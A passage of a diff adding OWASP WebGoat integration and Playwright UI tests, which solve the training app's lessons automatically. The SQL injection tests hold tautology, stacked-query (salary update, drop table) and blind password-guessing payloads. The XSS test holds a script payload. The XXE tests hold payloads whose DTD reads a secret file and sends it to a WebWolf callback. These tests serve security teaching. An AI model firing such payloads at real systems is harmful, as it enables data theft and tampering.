public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith";
public static final String sql_12_b =
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'";
@Test
public void runTests() {
startLesson("SqlInjection");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_5);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
checkResults("SqlInjection");
}
}

View File

@ -0,0 +1,88 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.hamcrest.CoreMatchers.containsString;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionMitigations");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("field1", "getConnection");
params.put("field2", "PreparedStatement prep");
params.put("field3", "prepareStatement");
params.put("field4", "?");
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
params.put(
"editor",
"try {\r\n"
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+ " = ?\");\r\n"
+ " prep.setString(1,\"me\");\r\n"
+ " prep.execute();\r\n"
+ " System.out.println(conn); //should output 'null'\r\n"
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(
webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body(
"trace",
containsString(
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
+ " 'out of order' order by"));
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
checkResults("SqlInjectionMitigations");
}
}

View File

@ -0,0 +1,81 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("WebWolfIntroduction");
// Assignment 3
Map<String, Object> params = new HashMap<>();
params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
String responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode =
uniqueCode.substring(
21 + uniqueCode.lastIndexOf("your unique code is: "),
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
// Assignment 4
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params)
.get(webWolfUrlConfig.url("landing"))
.then()
.statusCode(200);
responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
checkResults("WebWolfIntroduction");
}
}

View File

@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest {
@Test
public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("checkboxAttack1", "value");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
params.clear();
params.put("QTY1", "1");
params.put("QTY2", "1");
params.put("QTY3", "1");
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+ " the browser does not know that the script is malicious.");
params.put(
"question_1_solution",
"Solution 3: The data is included in dynamic content that is sent to a web user without"
+ " being validated for malicious content.");
params.put(
"question_2_solution",
"Solution 1: The script is permanently stored on the server and the victim gets the"
+ " malicious script when requesting information from the server.");
params.put(
"question_3_solution",
"Solution 2: They reflect the injected script off the web server. That occurs when input"
+ " sent to the web server is part of the request.");
params.put(
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
params.clear();
params.put(
"editor",
"<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+ "<html>"
+ "<head>"
+ "<title>Using GET and POST Method to Read Form Data</title>"
+ "</head>"
+ "<body>"
+ "<h1>Using POST Method to Read Form Data</h1>"
+ "<table>"
+ "<tbody>"
+ "<tr>"
+ "<td><b>First Name:</b></td>"
+ "<td>${e:forHtml(param.first_name)}</td>"
+ "</tr>"
+ "<tr>"
+ "<td><b>Last Name:</b></td>"
+ "<td>${e:forHtml(param.last_name)}</td>"
+ "</tr>"
+ "</tbody>"
+ "</table>"
+ "</body>"
+ "</html>");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
params.clear();
params.put(
"editor2",
"Policy.getInstance(\"antisamy-slashdot.xml\");"
+ "Sammy s = new AntiSamy();"
+ "s.scan(newComment,\"\");"
+ "CleanResults();"
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
checkResults("CrossSiteScripting");
}
}

View File

@ -0,0 +1,121 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
// TODO fix me
// /*
// * This test is to verify that all is secure when XXE security patch is applied.
// */
// @Test
// public void xxeSecure() throws IOException {
// startLesson("XXE");
// webGoatHomeDirectory = webGoatServerDirectory();
// RestAssured.given()
// .when()
// .relaxedHTTPSValidation()
// .cookie("JSESSIONID", getWebGoatCookie())
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
// "<comment><text>" + getSecret() + "</text></comment>",
// false);
// }
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
*/
private String getSecret() {
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String webWolfCallback = webWolfUrlConfig.url("landing");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
.replace("USERNAME", this.getUser());
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("XXE");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
class LoginUITest extends PlaywrightTest {
@Test
void loginLogout(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
// logout
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,42 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.junit.Options;
import com.microsoft.playwright.junit.OptionsFactory;
import com.microsoft.playwright.junit.UsePlaywright;
import org.owasp.webgoat.ServerUrlConfig;
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
public class PlaywrightTest {
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
public static class WebGoatOptions implements OptionsFactory {
@Override
public Options getOptions() {
return new Options()
.setHeadless(true)
.setContextOptions(getContextOptions());
}
}
protected static Browser.NewContextOptions getContextOptions() {
return new Browser.NewContextOptions()
.setLocale("en-US")
.setBaseURL(webGoatUrlConfig.getBaseUrl());
}
public static String webGoatUrl(String path) {
return webGoatUrlConfig.url(path);
}
public static String webWolfURL(String path) {
return webWolfUrlConfig.url(path);
}
}

View File

@ -0,0 +1,48 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
public class RegistrationUITest extends PlaywrightTest {
@Test
@DisplayName("Should register a new user while logged in as other user")
void registerWhileLoggedIn(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
var registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
@Test
@DisplayName("Should register a new user")
void registerNewUser(Browser browser) {
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
var registrationPage = new RegistrationPage(page);
registrationPage.open();
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
}

View File

@ -0,0 +1,65 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.helpers;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import lombok.Getter;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
/**
* Helper class to authenticate users in WebGoat and WebWolf.
*
* <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
* WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
* and reused for subsequent requests.
*/
public class Authentication {
public record User(String name, String password, String auth) {
boolean loggedIn() {
return auth != null;
}
}
@Getter private static User sylvester = new User("sylvester", "sylvester", null);
@Getter private static User tweety = new User("tweety", "tweety", null);
public static Page sylvester(Browser browser) {
User user = login(browser, sylvester);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
public static Page tweety(Browser browser) {
User user = login(browser, tweety);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
private static User login(Browser browser, User user) {
if (user.loggedIn()) {
return user;
}
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
RegistrationPage registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(user.name, user.password);
WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
webWolfLoginPage.open();
webWolfLoginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
return new User(user.name, user.password, page.context().storageState());
}
}

View File

@ -0,0 +1,84 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.*;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.HttpBasicsLessonPage;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class HttpBasicsLessonUITest extends PlaywrightTest {
private HttpBasicsLessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("HttpBasics");
var page = Authentication.sylvester(browser);
this.lessonPage = new HttpBasicsLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@Order(1)
void shouldShowDefaultPage() {
assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
}
@Test
@Order(2)
@DisplayName(
"When the user enters their name, the server should reverse it then the assignment should be"
+ " solved")
void solvePage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("The server has reversed your name: eoD nhoJ");
Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
}
@Test
@Order(3)
@DisplayName("When the user enters nothing then the server should display an error message")
void invalidPage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
}
@Test
@Order(4)
@DisplayName(
"Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
void shouldNotSolvePage1(Browser browser) {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
tweetyLessonPage.open(new LessonName("HttpBasics"));
Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
}
}

View File

@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.Page.GetByRoleOptions;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.LessonPage;
public class SqlInjectionAdvancedUITest extends PlaywrightTest {
private LessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("SqlInjectionAdvanced");
var page = Authentication.sylvester(browser);
this.lessonPage = new LessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@DisplayName("Login as Tom with incorrect password")
void loginAsTomWithIncorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("Wrong username or password. Try again.");
}
@Test
@DisplayName("Login as Tom with correct password")
void loginAsTomWithCorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("thisisasecretfortomonly");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
lessonPage.isAssignmentSolved(5);
}
@Test
@DisplayName("Register as Tom should show error that Tom already exists")
void registerAsTomShouldDisplayError() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("User tom already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is correct")
void startGuessingCorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='t");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("User tom' AND substring(password,1,1)='t already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is incorrect")
void startGuessingIncorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='a");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText(
"User tom' AND substring(password,1,1)='a created, please proceed to the login page.");
}
@Test
@DisplayName("Should display correct hints")
void shouldDisplayCorrectHints() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Show hints")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Look at the different");
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class RegistrationPage {
private final Page page;
@Getter private final Locator signUpButton;
public RegistrationPage(Page page) {
this.page = page;
this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
}
public void open() {
page.navigate(webGoatUrl("registration"));
}
public void register(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
page.getByLabel("Confirm password").fill(password);
page.getByLabel("Agree with the terms and").check();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
}
}

View File

@ -0,0 +1,33 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import lombok.Getter;
public class WebGoatLoginPage {
private final Page page;
@Getter private final Locator signInButton;
public WebGoatLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
}
public void open() {
page.navigate(webGoatUrl("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByPlaceholder("Password").fill(password);
page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
}
}

View File

@ -0,0 +1,28 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
@Getter
public class HttpBasicsLessonPage extends LessonPage {
private final Locator enterYourName;
private final Locator goButton;
public HttpBasicsLessonPage(Page page) {
super(page);
enterYourName = page.locator("input[name=\"person\"]");
goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
}
public Locator getTitle() {
return getPage()
.getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
}
}

View File

@ -0,0 +1,72 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
import org.assertj.core.api.Assertions;
import org.owasp.webgoat.container.lessons.LessonName;
@Getter
public class LessonPage {
private final Page page;
public LessonPage(Page page) {
this.page = page;
}
public void navigateTo(int pageNumber) {
page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
}
public void open(LessonName lessonName) {
page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
}
/**
* Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
* seconds
*/
public void refreshPage() {
page.reload();
}
public void resetLesson(LessonName lessonName) {
Assertions.assertThat(
page.request()
.get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
.ok())
.isTrue();
refreshPage();
}
public int numberOfAssignments() {
return page.locator(".attack-link.solved-false").count()
+ page.locator(".attack-link.solved-true").count();
}
public boolean isAssignmentSolved(int pageNumber) {
var solvedAssignments = page.locator(".attack-link.solved-true");
solvedAssignments.waitFor();
return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
}
public boolean noAssignmentsCompleted() {
return page.locator(".attack-link.solved-true").count() == 0;
}
public Locator getAssignmentOutput() {
return page.locator("#lesson-content-wrapper");
}
public Locator getHintsOutput() {
return page.locator("#lesson-hint");
}
}

View File

@ -0,0 +1,36 @@
/*
